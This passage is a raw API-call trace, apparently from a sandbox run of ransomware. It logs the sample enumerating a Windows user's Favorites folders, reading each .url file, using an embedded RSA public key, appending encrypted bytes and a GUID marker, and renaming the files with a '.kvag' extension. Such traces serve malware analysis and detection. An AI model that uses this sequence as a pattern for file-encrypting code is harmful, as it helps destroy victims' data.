lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0120.598] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.598] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.598] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0120.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0120.598] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.598] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.598] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.598] PathFindFileNameW (pszPath="") returned="" [0120.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.598] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.598] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.598] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0120.598] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0120.599] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0120.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.599] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=236) returned 1 [0120.599] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.601] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.601] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.602] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xec, lpOverlapped=0x0) returned 1 [0120.602] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.602] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.602] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.602] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.603] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.603] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.603] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.603] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.604] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.604] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.604] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.604] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.604] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.604] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.604] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.604] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.604] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.604] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.605] CloseHandle (hObject=0x61c) returned 1 [0120.605] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.kvag")) returned 1 [0120.607] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0120.607] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0120.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.607] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=226) returned 1 [0120.607] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.609] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.609] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.610] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xe2, lpOverlapped=0x0) returned 1 [0120.610] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.610] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.610] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.610] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.611] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.611] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.611] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.611] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.611] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.611] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.611] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.611] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.611] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.611] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.612] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.612] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.612] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.612] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.612] CloseHandle (hObject=0x61c) returned 1 [0120.612] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.kvag")) returned 1 [0120.614] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0120.614] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.614] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.614] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.614] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0120.614] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0120.614] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.614] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.614] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.614] PathFindFileNameW (pszPath="") returned="" [0120.614] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.615] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.615] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0120.615] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0120.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.615] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.616] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.617] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.617] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.618] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.618] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.618] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.618] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.618] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.619] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.619] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.619] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.619] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.619] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.619] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.619] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.619] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: 